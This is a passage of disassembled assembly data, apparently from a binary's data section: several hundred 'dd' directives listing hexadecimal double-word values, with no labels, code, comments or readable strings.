		dd 908022EDh, 8168B291h, 4977B492h, 0D06D9624h,	0F3C09E9Ch
		dd 0E2A9DEFDh, 5108C6FFh, 9300813Dh, 0B93EF0D1h, 399149h
		dd 844C2C55h, 4089636Fh, 4E95F103h, 0D1622B30h,	7E31E643h
		dd 0E1A6B010h, 0D94016Ch, 79C3CBF0h, 8E089888h,	0F9B921h
		dd 83B5FC6Ch, 3D0DA809h, 50448259h, 9444AC04h, 259F0984h
		dd 6CB0FBF9h, 0E8763666h, 67A87D21h, 87369081h,	0B001DD38h
		dd 572B4CDh, 0C8F63D4Dh, 40FB7524h, 0A348B316h,	86781ECh
		dd 9C4026DDh, 309AE734h, 9708F956h, 4E7F599h, 0FB5C0820h
		dd 597F0058h, 270D0205h, 0C7600EEDh, 56BC1051h,	0EC011FD9h
		dd 5F2CC042h, 0BDFE7FBh, 8864B858h, 49908927h, 34600D00h
		dd 5DFEACD3h, 0F1659C07h, 4A9BADBh, 80645644h, 83AEFC54h
		dd 0D7C0D0B1h, 0E67B339Fh, 763400CCh, 88A3E4B2h, 0F154A4D5h
		dd 0AF008AC4h, 3C35C43h, 108C0A39h, 32E8B9CDh, 679050A4h
		dd 80514F18h, 0D6ADB258h, 24887308h, 60606E46h,	0CD677C34h
		dd 0A1567100h, 0C0E53392h, 21DC6005h, 24CB1AC1h, 0D5F0B500h
		dd 0D64E90F7h, 0C8650EC9h, 49296497h, 0D9085C27h, 0CFA1D090h
		dd 62A9D988h, 437420F4h, 0E830C611h, 788A8A44h,	0B9EC6360h
		dd 1391900h, 56C4903Fh,	0EF7000Bh, 0C8F6F827h, 9C1F4AAAh
		dd 24382E38h, 0D0150BEh, 8E8010CDh, 8C40A074h, 0E633A80Eh
		dd 343876AEh, 1917DE1h,	0ACB32B1Ah, 40C7A23Dh, 961F08BCh
		dd 8304324Ch, 0CCC858AEh, 0A400F709h, 5231FD67h, 4893282Eh
		dd 0D3BCB98Fh, 5985F404h, 12903016h, 60ECE153h,	480C2C7Eh
		dd 38F2BCA2h, 410A0020h, 436C8F8Dh, 0E091A7FCh,	0AA84EF9Eh
		dd 8362E00Dh, 6CE7B720h, 22BD5C1Bh, 20ECB413h, 0F47D7CBCh
		dd 1144201h, 9B7547C3h,	90F0E00Ch, 0DE51EA00h, 63F4EFE4h
		dd 24EE1C30h, 7047815Eh, 74D79D26h, 58C91ACh, 306602E8h
		dd 308CE93h, 0BA02F08Bh, 3B42E8A7h, 2FC0028Ah, 0D73E05ACh
		dd 97F6AC81h, 0CD72E08Dh, 3F2E7092h, 46743C61h,	75AA1FA1h
		dd 0B456C580h, 0C1F35958h, 0E21DF9E1h, 0AC6086D1h, 46C89D01h
		dd 2FE019Fh, 60E3305Ch,	89A01028h, 0D0003E6h, 0B8F68067h
		dd 1322243Eh, 8B1F808h,	5AC1E784h, 5DD8F436h, 0D2448657h
		dd 3643038Dh, 0B60ADE11h, 898614Ch, 2BBA050h, 0D22A3571h
		dd 0C24C90A4h, 0A448CBA8h, 732ED927h, 8A4E2C83h, 0FF40649Eh
		dd 21304102h, 0A09163EBh, 3E78400h, 37284295h, 654BF7F0h
		dd 1DF62CF0h, 0C2E921FCh, 0A3B2449Ch, 0A72A7C52h, 803A488h
		dd 942E754Fh, 319FF827h, 4AA53E16h, 0C11E4C9h, 2F5112B0h
		dd 13E37440h, 24BB169Eh, 3DF0D9D2h, 0EA8F506h, 1A7061DEh
		dd 1CB00300h, 5C3AC929h, 5E700483h, 0D2E39985h,	1851AC78h
		dd 0C0183479h, 9A7FB917h, 0B09C4E00h, 485CB231h, 5E06B4AFh
		dd 313CCA96h, 91D80E30h, 12A20A8h, 0B5794625h, 0D863D0A0h
		dd 564CE939h, 449F0970h, 7FA04850h, 0A779Eh, 78E05A3Bh
		dd 0E61479C4h, 13DCA258h, 8020D8B3h, 0B24E94h, 7F0A2FC6h
		dd 0E154A052h, 0D45FFF2Ch, 60A7F108h, 0DA96CE6h, 0F4A640B8h
		dd 1B08544h, 0A9986CFEh, 74B8AA99h, 38757F24h, 3501B494h
		dd 0BCB0B1A2h, 49F924F0h, 5B8350FEh, 65B2E936h,	8010D131h
		dd 0D23A3640h, 0AC272632h
		dd 4D2C08h, 68A674FBh, 10DCA588h, 8424510Ah, 0CD39E80h
		dd 0BFECAA1h, 266D14BDh, 0E023A093h, 6CE200FDh,	0CBF80D95h
		dd 0B49A4486h, 5F6CFA09h, 1685D532h, 9205814Bh,	6832EDh
		dd 0ACC40751h, 391CCF9h, 588D643Ch, 0B0FC6138h,	0DA44D894h
		dd 3E53012Eh, 2D1DC271h, 3FB8283Fh, 59201242h, 92C95880h
		dd 81956063h, 6FA0B396h, 0B610F460h, 284A3E59h,	30B49E2Ch
		dd 50298FA6h, 6A761255h, 48420502h, 800EBF90h, 3C2D723Ch
		dd 8FD02824h, 5836399Ah, 92CF602h, 9CA02051h, 0F498DD34h
		dd 309288ECh, 114AA4A1h, 0C8E2F6E4h, 0C089A49Ch, 5171A179h
		dd 0F11276BAh, 0AB008DE4h, 4A59F9D4h, 0B996F8D7h, 16086C88h
		dd 9D461898h, 5A02F402h, 0BB31F330h, 2FCB710h, 7D36C403h
		dd 0BFECAEh, 46C3F219h,	0DA098D9Fh, 0D6D50A0Eh,	8442961Ch
		dd 68FA3D0Ch, 312FA7F0h, 0D939B5ECh, 83EBD821h,	7E5A1F00h
		dd 5E182B07h, 9F8E090Bh, 0AC103197h, 0A4AAC40Eh, 9CC2DA40h
		dd 9A073700h, 4909325Eh, 890428BAh, 175B4CC8h, 650E12Ch
		dd 39DBAFB3h, 4406D92Eh, 0ECA2B140h, 0C930CEF1h, 0BCE88434h
		dd 1209E68Ch, 8879A269h, 24EE54C8h, 0CAF33800h,	2DC39B1Eh
		dd 0B2A701E9h, 0E0203ECEh, 0E060DAC2h, 0B95D0864h, 0E01F2E04h
		dd 12324674h, 0E7005F95h, 0B79A0F36h, 58D6627Dh, 0C9023585h
		dd 49386114h, 8B748040h, 0A5B38020h, 71428CA6h,	50A44C7Ch
		dd 0D5385B81h, 5048A93Eh, 75D4C580h, 184F0A08h,	1958CB96h
		dd 0DB004CF7h, 43DE34E7h, 53D75C8h, 2CD68D36h, 0C04C9B28h
		dd 7C5CD0E6h, 0BEAF01FEh, 0EE354E1h, 0F4A180D3h, 0E77672B6h
		dd 0D5C400E5h, 595BC12Fh, 1F013E62h, 0BDEBBC4Eh, 7C732C5Fh
		dd 0BE078E48h, 0C17A8B8Dh, 63FB4907h, 0AC4788A8h, 17E029FAh
		dd 4C2020A7h, 46E6EA04h, 903C59h, 0A70E81E3h, 4D97FF5Ah
		dd 9618EC55h, 584449C4h, 0B8454D4Fh, 7C89E159h,	3047FC02h
		dd 0EF113395h, 3F88ABAEh, 33C0EC9Eh, 0D299074Bh, 5A5839F4h
		dd 31E559E0h, 0F74A48A2h, 0E4093812h, 0CFCC6DCFh, 309479E0h
		dd 41E0672Ch, 0F44C2892h, 6B661324h, 0FAD9890h,	0DBA3042Bh
		dd 0D2B836AAh, 386CE450h, 8E7E0B13h, 8CE74498h,	976CFC04h
		dd 8062880Dh, 9F34623h,	1365F220h, 0D9527C99h, 0C8F761AEh
		dd 10006D59h, 430207F7h, 4AAFAA21h, 0AEFC2208h,	8CA5CFE3h
		dd 4825505Ch, 63D811B3h, 0F082E829h, 5602B478h,	3007250h
		dd 0C568E51Bh, 6690E279h, 190F3803h, 6C363ADBh,	2A4E031h
		dd 8067BA1Dh, 0C084444Eh, 364161F4h, 0ACB50020h, 8EEA44C0h
		dd 42365600h, 887DE987h, 284F0B89h, 0F048A402h,	98008DA5h
		dd 9E6B03ACh, 1DE6545h,	0F215FDFh, 389408DAh, 436C0BCCh
		dd 0E3B431F0h, 0FC0C2EE8h, 0B38085CAh, 5E96CFBh, 800C1E81h
		dd 0FE0D87A9h, 0D8B6928Ch, 4558E060h, 0EE31F462h, 79A85915h
		dd 2E5183Bh, 5CD84FF7h,	0AC444C27h, 98CD8B24h, 612244Ah
		dd 10AE8888h, 19ADD850h, 4419318Bh, 0CF238829h,	0F4317B13h
		dd 9E008ECCh, 3161C997h, 8AA7F739h, 0F81A7980h,	0DD2EFE81h
		dd 3A2C5200h, 56952915h, 0D4F649FBh, 30E27442h,	13FAA830h
		dd 93F17EEh, 9865AD74h,	65A1E4h, 3FF8B7B6h, 402FC63Dh
		dd 56D404E4h, 20DD88C2h, 0DE986DF2h, 49744600h,	2107E4CEh
		dd 52AB0ED8h, 960A87Fh,	0C2C6D3Fh, 44CB4801h, 0D32B1138h
		dd 0EBB81029h, 0E5F5008Ch, 9345EDC2h, 750014B2h, 643E6699h
		dd 58567421h, 337D8E1Fh, 0B339CCA1h, 432ED0A7h,	9C9C8740h
		dd 56350C60h, 7A0927Bh,	0D9425BB0h, 0B1BBD569h,	7F402DACh
		dd 0A7C59A07h, 3971DA04h, 0F0203ECAh, 0F8F11D6Eh, 67A6BC74h
		dd 63DE81BCh, 845BE7B5h, 99FC3C0h, 300810CCh, 0E81F21Fh
		dd 4518683Fh, 0C8692270h, 0F5330E56h, 4D822082h, 7C63DDFAh
		dd 0ABA90998h, 0CBFC4F00h, 5BE671A2h, 578700C4h, 0DD10DA72h
		dd 75380F0Ch, 7E00F4A5h, 7850C751h, 39C42104h, 0E6F89C7Ch
		dd 9F7CD6h, 42841BC8h, 0EA309845h, 726F8700h, 109AF3C2h
		dd 0B87A73EEh, 3C6EE2ACh, 0A480890Fh, 678E5F0Ch, 0E6009633h
		dd 43F501ACh, 908CA8A1h, 58A7127Ch, 5B280142h, 269016D1h
		dd 2E91F40h, 0C49B3008h, 0F18E44BEh, 0D4735081h, 194D3698h
		dd 7834AA49h, 10C760B6h, 64E0DC35h, 140B242Ch, 70D0B750h
		dd 0A4E9D43Dh, 0B1584018h, 28CDF918h, 2CF06DF5h, 808AF66h
		dd 0E560A7FAh, 210DA86Ch, 9F91CAD0h, 6CFDB500h,	0B63582AFh
		dd 0BE1FDF01h, 0CD96B0B4h, 0F8485472h, 50A94C10h, 0C5DDAB0h
		dd 0C62000F8h, 0F22CF7D7h, 0CB7FE2CDh, 6C480E88h, 1A00B538h
		dd 728CD316h, 0F6B72D71h, 9B5C02EBh, 0EC41CB0Eh, 81D78490h
		dd 9473350Bh, 9D9C9249h, 83D211A0h, 0A59651EAh,	5C1A50F4h
		dd 2E4E9C21h, 0BC237Ch,	26CA76BFh, 0A048B264h, 2934CFB8h
		dd 7940512Dh, 5BD18D3h,	0A250C58h, 2C980272h, 0B0A4DC43h
		dd 0E258E26Ch, 0F30F309Ch, 0D6342C00h, 21F658D8h, 0A466130Ah
		dd 58601868h, 90B93D59h, 6660D4D3h, 0DC00024Fh,	0E4005BBh
		dd 9E5958FBh, 0D0D1975Ch, 0EDFD018Ch, 4A8D4B00h, 615BD07h
		dd 0C5F9C0C0h, 3AF27C98h, 6342249Ah, 25CB8B0Ah,	740CA6F8h
		dd 0B10F3546h, 52E0240Ah, 30593CB9h, 4540DC9Ch,	80CD6118h
		dd 14910EE9h, 0FC4A6800h, 0C30D1D3h, 40731150h,	8C004C5Ah
		dd 703ADD28h, 162CE7F6h, 18583023h, 0E866F172h,	1E0164B1h
		dd 5A3D087Ch, 4C34FC31h, 5E80B491h, 2D02BC46h, 188AB3Eh
		dd 0B700A0F9h, 0FCC6C1ECh, 4F64002Ch, 8423D3CAh, 2095A5E7h
		dd 3EB890C4h, 12524AC9h, 23003A08h, 750129Dh, 15DE05h
		dd 0F23AC7A5h, 0F0A4E404h, 2080A83Ch, 13B143Fh,	0A2E98A7Dh
		dd 0EB8DE340h, 40796CE2h, 7198271h, 70E969E6h, 0F14220Eh
		dd 81EEA151h, 1274FBD2h, 0FC58F02Dh, 1C8CD0E8h,	0A677502Dh
		dd 0F77D4064h, 492541C8h, 0EB900185h, 0C450B4D1h, 0EE7BA1h
		dd 9DFE7FAAh, 0F6E0B6CCh, 93129801h, 0ABB24F03h, 47049C7Dh
		dd 73AFD08h, 200BA20Eh,	0CD33CE10h, 9C81E6E9h, 0E3449204h
		dd 22847814h, 2E122130h, 0F0ECF3h, 0A0E94CE1h, 703113C0h
		dd 0B10043ACh, 2AFF74FAh, 40E212Ch, 0CB6DD377h,	0C1C08437h
		dd 0CD011Ch, 6414A23Fh,	0B2249094h, 30D0E258h, 9C05B7AAh
		dd 8D582741h, 40335808h, 0A0CC50AEh, 38E34C80h,	5167A1Eh
		dd 8400802Ah, 0B899F51Dh, 0D718BBD1h, 83939201h, 633E1D8Dh
		dd 4D0C9034h, 0EDB88C6Fh, 29683D02h, 0F013606Dh, 2EFA4628h
		dd 263BB85Fh, 0D4C4D845h, 36A08C4Fh, 0D5ADF3Bh,	93C37538h
		dd 48B795Dh, 0F5C3D5C8h, 0AAEBE0ABh, 0A06502CDh, 0A8954B96h
		dd 58B480A0h, 4969A341h, 11049D10h, 66C78082h, 0B64C4A3Eh
		dd 0C82F17C4h, 1B03DDF4h, 0FC3F353Ah, 0CFC588E6h, 0EC0FCE7h
		dd 0EA5BF532h, 0C80DDFE4h, 0A331B3E8h, 542EC1CDh, 2B5E3033h
		dd 3A9C239Ch, 0F0B87500h, 1374C2E6h, 0A8245A4Eh, 10C1A0DAh
		dd 2A5049FFh, 0F1372C40h, 4E1AFDh, 771804F5h, 0A8F0AB6Bh
		dd 0B4D239h, 3628FADBh,	9992C3A6h, 18A2D1D0h, 4EF90209h
		dd 508E39E5h, 253590E0h, 0F9FF788h, 0E8529E58h,	825BC15h
		dd 3597944Ch, 0C3821F40h, 0C0F4B5B3h, 6218C185h, 98492AC5h
		dd 0C448C56Fh, 0F0C86383h, 30D92F07h, 41E14975h, 0F92C8705h
		dd 0F14C843h, 0D9401C0Ch, 0D0CCFC89h, 1E1D1670h, 593CD3C4h
		dd 90C37EDAh, 669F8EF8h
		dd 9C0EE2E0h, 255ADE8Dh, 0E88E3354h, 0C93488h, 8F38FFB9h
		dd 1331774Fh, 0D07008E8h, 0A4E366F8h, 830CA5Ah,	1532FF6h
		dd 0AFCDEA1Bh, 0BEDF0A05h, 2C2C3BA8h, 0C6B82048h, 4365C16h
		dd 0F2574DE4h, 458F801Ch, 753D36h, 43E8BEEEh, 0C75870E5h
		dd 0F84E4DF2h, 80CCB8D1h, 0EDF94703h, 4A1984C5h, 22029E44h
		dd 4C4AD0Ch, 3E4404A7h,	287B6B60h, 1C0C4AF8h, 51A7D12Fh
		dd 399BF207h, 3200E4C2h, 0A075E848h, 0FC017CFDh, 0C60AC8Dh
		dd 0ECF359C9h, 4ED30CB8h, 0ECD410E0h, 0C61DA902h, 445E807Ah
		dd 493F808h, 0A216E471h, 30D6F2C0h, 8C0FEFC8h, 0D7A5E53Dh
		dd 0B8A8B884h, 38C80BCh, 15D0B1E9h, 40BCDA5Ah, 0E84CF244h
		dd 0D7A11C26h, 919F00F0h, 8ACBAA2h, 68A6F427h, 14453E24h
		dd 0CCCFF170h, 0F400E30h, 28B4F9CDh, 8656611Fh,	7024AE09h
		dd 162E782Ch, 1039411Dh, 2F1094E0h, 34561ED6h, 0BB69ED00h
		dd 18879E21h, 487EC63Dh, 8D4E03ACh, 348834CEh, 0B84916C3h
		dd 0E8D2CDFh, 0B2B05A93h, 0E02A8FCBh, 0D4465E5Ch, 7880AA3Dh
		dd 84939F38h, 5CA15235h, 0F2806224h, 0B47B30D1h, 1F3BC316h
		dd 0FA9C88h, 94880350h,	4909CDD4h, 20EF801h, 8A2AED1h
		dd 682DA6C1h, 980078E8h, 586174FCh, 92F1A8Fh, 0DCAE358Ch
		dd 0B4CEEC07h, 598CE094h, 0CFC8C30Eh, 63DF698Bh, 0D0201024h
		dd 44122E92h, 3BE4674h,	0CC3A792Fh, 0F894BC1Dh,	86019481h
		dd 0C50DC707h, 1C78C221h, 40B6F04Ch, 47091CD4h,	0F7B1895Ch
		dd 1A02648Eh, 0F470E046h, 0E9919030h, 3008A611h, 0FA107758h
		dd 3CA7201Ch, 0E8603164h, 8B27C10Bh, 50F410CAh,	0C307E3B4h
		dd 190E28C4h, 9A814F58h, 4046E8h, 27A51993h, 0F59DE910h
		dd 613DB800h, 59CF3C6Eh, 0A12C01AAh, 0FE1D0CB1h, 60DC40C3h
		dd 0BE418C40h, 2F5AE822h, 1C8123ACh, 0C0295C60h, 0DA35AB84h
		dd 0BC275669h, 0BCC81721h, 0C7531FC6h, 9428E7C0h, 0FCF14972h
		dd 2EC12808h, 0D4325F0h, 0BB001C37h, 89370E1Ch,	3FA1067Ah
		dd 0A08D63F3h, 9ABCF44h, 472B5575h, 42A43881h, 71E98421h
		dd 44CC40CDh, 0C307F50Eh, 41045EF7h, 373972F2h,	3BBC94ECh
		dd 16E6048Ch, 0D0A29043h, 0C18E25F8h, 0DAF7D4A1h, 0B2C73C6Dh
		dd 68708A17h, 14358754h, 0CC0B91A2h, 37742E00h,	0ADCEB4D9h
		dd 685B2C17h, 50594080h, 0ACCD8825h, 4C072275h,	329E795Ah
		dd 8F78ED27h, 0BE09454h, 0B340DBD0h, 652510BEh,	6081E480h
		dd 28B9FF4h, 306F34ECh,	0B86B98A2h, 0E89D7E24h,	465CACC8h
		dd 0EA7C0035h, 0B70F1B19h, 52557230h, 879F8C2h,	5A63CD08h
		dd 1DDC0C2Eh, 42D78717h, 0CA21ABDh, 945ED4CAh, 0EA465Ch
		dd 0DF99B273h, 0F804383Bh, 277C9042h, 6C3831A5h, 17956C99h
		dd 808E1134h, 5409523h,	2C0C734Fh, 198659Ah, 38C9368Fh
		dd 0F8082FBBh, 4CD7833Ch, 40F0D8F5h, 95F60759h,	6B55E000h
		dd 4329AD1Bh, 0C02097B6h, 7F58F956h, 48D25F4Fh,	80C85CE8h
		dd 792C396h, 6F3D724Ch,	64C8DAB2h, 0CF192075h, 0DC514317h
		dd 0E9A7D449h, 3F20A8A8h, 48D4ABFh, 12DA3D80h, 8E23543Ah
		dd 0ACB47600h, 58979515h, 5885FC31h, 3874C946h,	3E1B8040h
		dd 607C02EBh, 76E1B814h, 7E03FA8Ah, 43821753h, 7120F066h
		dd 2405972Fh, 0F8F8AC41h, 2C008C32h, 28910A81h,	122B4ACCh
		dd 0F12F7924h, 0E925E4E8h, 0B0A43244h, 0FAB01324h, 5DDC20A7h
		dd 2F1639C8h, 10F0BC0Ah, 313040CDh, 6EACA251h, 98181C76h
		dd 220C8ADBh, 0E88A418h, 260D081Fh, 589C0227h, 8CFC33C7h
		dd 9899AEA0h, 57865D81h, 406AEC02h, 0E19E4B34h,	2FE26234h
		dd 0CFFCE500h, 0FBEBDF0Ah, 879B00C2h, 99B9E119h, 97601CAAh
		dd 0FD610A80h, 71DD09DBh, 9CF0123Dh, 0C45E8B2Dh, 2ED25E7Ch
		dd 38A523FCh, 0C4844E00h, 0F921B978h, 0C60B3BEEh, 0C1AECC08h
		dd 4F2F50ACh, 90A07100h, 8F51F509h, 6F65A801h, 3E89A301h
		dd 494723Fh, 0F601A464h, 0ED66C36Ah, 0FC4A496h,	54085FDEh
		dd 0E159020h, 9D1DE042h, 96F14045h, 0EBCBE00Bh,	0D3C85000h
		dd 0AAB25C98h, 0D929C327h, 0C2E0B723h, 9601EECEh, 588C568Ah
		dd 282C4E43h, 9FEF0F00h, 33575AC2h, 362453Ah, 0A095322Ch
		dd 787ADBF1h, 779D078Ch, 4A996393h, 40023A94h, 898604ABh
		dd 0D0A03049h, 0DC98F7D6h, 0B726F07h, 5089442Bh, 82F11D18h
		dd 0B7D1012Ch, 80E7BAEDh, 66E3D911h, 771B96ACh,	480F162Bh
		dd 0F01CC7A1h, 0FEE158A9h, 2434AA2Ch, 51397D02h, 43A0811Dh
		dd 0C02305A3h, 0C2FE8101h, 0E8926AC4h, 150057C0h, 97F19F42h
		dd 4CB3B5C3h, 4E80B0ACh, 0B4FF11F6h, 4303742Eh,	4D491830h
		dd 0D20D096Ah, 2840FAF4h, 76741B8Bh, 0A4B3A917h, 0A0B720D2h
		dd 78F2AD4h, 7E0606AEh,	0C8723728h, 0F64C7101h,	97651D20h
		dd 0B402BC40h, 0BEAE0339h, 0D8F832FEh, 0A1445914h, 0F4A705A4h
		dd 3001D9B3h, 0EF8CB1CAh, 12002828h, 75D13C95h,	0E948BA2Eh
		dd 0C4F42510h, 43794014h, 0F57C5C00h, 9DCAD66Bh, 0A89022h
		dd 6D076052h, 3DDF355Bh, 0DA82E3Bh, 287CAAA3h, 23CFFC0h
		dd 7A22996Dh, 0D140CC32h, 0DB02256Bh, 0FEC894A5h, 0B753C054h
		dd 7DCA00D5h, 0AF011D86h, 0F200B479h, 3AE65F33h, 193C18h
		dd 6AE9F5CAh, 0BCB39A1Ah, 9603AA76h, 3BAB9427h,	919982Dh
		dd 0CF8EED5h, 9AC1CD47h, 1E0EE688h, 0E08F9B87h,	892B5029h
		dd 1D1F006Ch, 41CCE17Ah, 0AD0059D6h, 0BBE884Bh,	30ACBDAAh
		dd 0FC41C5CDh, 0E38CC5Eh, 0B0770028h, 3B5D5CA5h, 3D305CA6h
		dd 33810D00h, 6E1190B6h, 647C99E8h, 0D4A3BF3Ch,	0B858B484h
		dd 5E560034h, 805DDF54h, 99A43052h, 0B80A1040h,	813571F9h
		dd 18E5AA31h, 0B6E09DCBh, 90960041h, 99D3F5EEh,	0BF60A3B4h
		dd 58DC7729h, 9B8C1F79h, 7B0D0C34h, 0E500D918h,	29E47514h
		dd 0E2B708DBh, 189C00CCh, 0D5366F7Fh, 0F900B58Dh, 0B6DD3BB4h
		dd 0E3E46h, 0CA394B54h,	0DC04155h, 0DB3F10C4h, 0B3DECD60h
		dd 0C8886A73h, 0BDB118C9h, 0E061403Fh, 4F4162Bh, 17C21406h
		dd 2E060610h, 21E219D9h, 34009098h, 68327340h, 74D37C7Dh
		dd 218A6069h, 8434C327h, 8D0185E0h, 2EE15FFEh, 244A0781h
		dd 40CB88C8h, 14428E0Eh, 500A0672h, 0C6E19703h,	10A67B9Dh
		dd 6CC8410Fh, 6A3EA0CDh, 0CC3DFC08h, 0A1210908h, 716D3101h
		dd 8927B921h, 0E6486F20h, 4F6E027Eh, 0B630611Fh, 49548090h
		dd 72CEA101h, 7509DDBDh, 21190998h, 0A200B1B4h,	993CBBEEh
		dd 63FBF306h, 1493B9F6h, 1DAA4900h, 0A43956BBh,	0A4201F5h
		dd 5EBC9B63h, 0C7C091FDh, 0C26CC383h, 0B3136AAh, 6CCCBC10h
		dd 0F1775007h, 73158E9Fh, 0F9148806h, 12371279h, 0B0650009h
		dd 571A486Ch, 0BC793C28h, 0CE01C546h, 0D2734434h, 88890C69h
		dd 3400C73Bh, 872E598Eh, 6A66F83h, 0D5787EB5h, 360ED8F5h
		dd 9744EEF3h, 371C3A00h, 65F015h, 0FB097263h, 9848F434h
		dd 76842D54h, 5AC158h, 0FC5D119Eh, 0E858C997h, 0D321C00Bh
		dd 0EF443ADEh, 0F800E390h, 0A86F93A5h, 0E3FCF095h, 0AE579981h
		dd 81FB6692h, 97012410h, 81C8E694h, 629C0CE5h, 0DBA8F6A6h
		dd 5492AF88h, 5FA072h, 7338204Eh, 52B0DBB4h, 0C5D54919h
		dd 0D9166BB8h, 4297BE00h, 0E3B738BAh, 0B094369Ch, 5646D851h
		dd 0C63AC302h, 0EE1CA19Eh, 0F33A00D8h, 0F222EBB4h, 9E0FB6BFh
		dd 174A6E5h, 0AE8911FCh, 7C81A180h, 25CB8CBDh, 0E2146203h
		dd 0D9C47B0Ah, 51801B99h
		dd 8E5D567Fh, 0EF00F249h, 51744EF5h, 4CE254Bh, 669B1C9Ch
		dd 0FB0C88BDh, 732F388h, 0BE27CF4Fh, 2E7EC322h,	96F51812h
		dd 0FA2CA820h, 0F3740DAAh, 42213EF8h, 8132C6FCh, 0FA7347C8h
		dd 8D221C26h, 34DC2E01h, 0F1ACF698h, 808C59A8h,	0AB95F544h
		dd 0F971E3A4h, 7F309035h, 0E6BF31A8h, 22069D19h, 72150078h
		dd 87A656B5h, 69A0C829h, 382C3208h, 317B1101h, 800996F6h
		dd 0F2E72A41h, 60141505h, 0AD3179F5h, 3200E826h, 0C52A99FFh
		dd 3625F44h, 0F3D9EB7Fh, 5212088Ah, 4453365h, 44027411h
		dd 0A0086F7Eh, 0F52BAEC0h, 210490BAh, 0CC8399B1h, 929EC93Ah
		dd 10051958h, 0F3AC5D6h, 6A028E16h, 32F5A101h, 0D002001h
		dd 4F58208Ah, 348BF2h, 3E73D257h, 0CF8D4E71h, 51079430h
		dd 3E639C6Ch, 0E900E8F2h, 0B3EAB7E1h, 4D03C346h, 2AA0B94Fh
		dd 15A3E05Dh, 417C039Bh, 2997F7Dh, 6D00417Eh, 2264E71Dh
		dd 71CB840Fh, 5EB87A0Eh, 0F88FA1F4h, 0A6580407h, 560B7641h
		dd 20FFF8F0h, 7E9BA408h, 34C89AADh, 0C0B9F314h,	0CE86837Fh
		dd 4984B00h, 20BD7728h,	7F240552h, 0B9D2F8h, 2A36A5F8h
		dd 41F69EFCh, 0BF319C0Ah, 6580E01Ah, 0CC250777h, 3D331CC4h
		dd 0FCB40068h, 118A7031h, 8EF58507h, 534EF372h,	121B828h
		dd 42EA64B2h, 60B02607h, 0FC097E31h, 42369DAh, 2C450A4Ch
		dd 886C8E47h, 5E0CF84h,	8E19D642h, 0FA22AF1Ch, 611E72C1h
		dd 2063B5CAh, 0C0A1430Fh, 0CA70ADA8h, 4CA10556h, 5F707E31h
		dd 2BA30EACh, 92A210A3h, 0C700E1E2h, 4C8ACEh, 98238568h
		dd 0F860E7DEh, 6FDAFD02h, 0C2B33C1Fh, 0A91A8C40h, 0A8AD52F5h
		dd 40809D26h, 0C51BBF7Dh, 50230500h, 0C08AEBE2h, 749B0048h
		dd 0B024F63Ch, 14262D12h, 0C4640029h, 4934C560h, 20CA7323h
		dd 0DE20033Ch, 56D95034h, 7F832F5h, 85912495h, 9A723A80h
		dd 0CFF8A48Fh, 0A9498D98h, 7028803Ch, 28B8C293h, 21C00889h
		dd 4780B63Eh, 4D72C4A1h, 1A4486DCh, 94F5CB6h, 0A5A2F90Eh
		dd 742945A0h, 89AC193h,	0E8CD50CAh, 0F9A14EC3h,	0C219A572h
		dd 18C0CB25h, 0C11EC8h,	6673DAF6h, 9C228581h, 19DB80A1h
		dd 7F4E34C4h, 0A4685273h, 34F93DC0h, 0CB267714h, 7260E415h
		dd 1EF683Ch, 0F22AEB84h, 3073C27Dh, 345CAF58h, 3FF82328h
		dd 50C36C9Dh, 0CBBBE02Eh, 0C27036Ch, 0FEF0A39Fh, 933069D6h
		dd 451DF91Fh, 960F010Dh, 67B1E99Dh, 0B2E4732Dh,	0D4BC3085h
		dd 6CFCBE00h, 87352882h, 0E4EC146Fh, 0B448B88Dh, 48217811h
		dd 984F10B0h, 0F73DCEC0h, 0B4B1D99Eh, 3AC7ECC0h, 2FA60052h
		dd 0FCA474Fh, 8050E175h, 69888DA0h, 0FDEE48AEh,	31776E00h
		dd 3EA15906h, 840154FCh, 9F136311h, 0B8629429h,	7D3CC600h
		dd 0C4A93DDBh, 153F1C01h, 2A51BF43h, 98F878F9h,	0BAFB4816h
		dd 0B8E17C19h, 8CF184Ah, 0C19ECA3Ah, 0ED400FC4h, 0D1753AC4h
		dd 0B48E8506h, 44803E81h, 63003609h, 0FDEA3B62h, 0C076B09Ch
		dd 21FF1619h, 712C992Dh, 660BAC91h, 0E4FC229Dh,	235A20F9h
		dd 2801B456h, 0D1B97CA4h, 1C298694h, 99C86200h,	5D7A08A3h
		dd 0FDCF1C00h, 0E1F23E2Dh, 47B8949Fh, 0DC0ECB12h, 0C137B884h
		dd 9FC5E4h, 0C7FFBFB6h,	806EDC91h, 0BA6A18BEh, 0EA5F6904h
		dd 0B8CC95F6h, 0BFA218F2h, 1E6611FCh, 3C964172h, 7D3EBFC1h
		dd 3F5020h, 904AA92h, 4637EDDDh, 3C00E2EEh, 74B96261h
		dd 0F8A839h, 0E091EF26h, 2AD9B6EBh, 2D89DA04h, 8806C2Fh
		dd 1831115h, 0B617B028h, 0C9801B0Eh, 6801CCC3h,	0E4EAC600h
		dd 0D6EC98BCh, 89837h, 54058FB9h, 622AC557h, 1839E00h
		dd 0F0D73F50h, 0ADEF01D4h, 37688286h, 2955F44Ah, 0BB33A400h
		dd 7F6789A6h, 3EC5006Dh, 0D1BCBEB3h, 2100B450h,	0AC97CD31h
		dd 98D996C0h, 0F97200F0h, 0E1A471C8h, 4B0EB064h, 7DBA11Eh
		dd 0CA101F17h, 0D795BCh, 7E6B4B1h, 36238E14h, 2DB09B00h
		dd 7E8A7550h, 4A210031h, 597DAFAh, 0A200E87Ch, 29FB63ADh
		dd 16EF196Dh, 0BF6607h,	15E094A7h, 60010588h, 69842014h
		dd 48803A93h, 75E126F4h, 0DD12EE5Ch, 0C422DB8Bh, 0CE94812Dh
		dd 0A8D35F88h, 7B7DAC4h, 2F4163BDh, 9E9B0189h, 0AD588020h
		dd 0BB0D44F8h, 0C950090h, 0C3ACCF02h, 1E5C7BA0h, 80763976h
		dd 5FC947E4h, 480EE6DDh, 0C09D10F8h, 2AC3A75Dh,	3300ACB1h
		dd 20658FF6h, 25791Ch, 12DA71A2h, 93BA02A5h, 0E6039000h
		dd 7E8BBC0Fh, 7CA0041h,	0E3695D1Ch, 0AD0051FCh,	0FD44F521h
		dd 3AC1BF1h, 0B3087718h, 86D8AED3h, 0FB7E7CE9h,	88BEC807h
		dd 3E90030Eh, 78A54E02h, 4A6A1CD8h, 93DD074Bh, 0D97E3A0h
		dd 0E58DCFE0h, 0FAA4983Fh, 4900CC79h, 0D4109FD9h, 85218Eh
		dd 0B2636130h, 86474C5Eh, 1AB3FA03h, 0A005DBA5h, 4DCDB959h
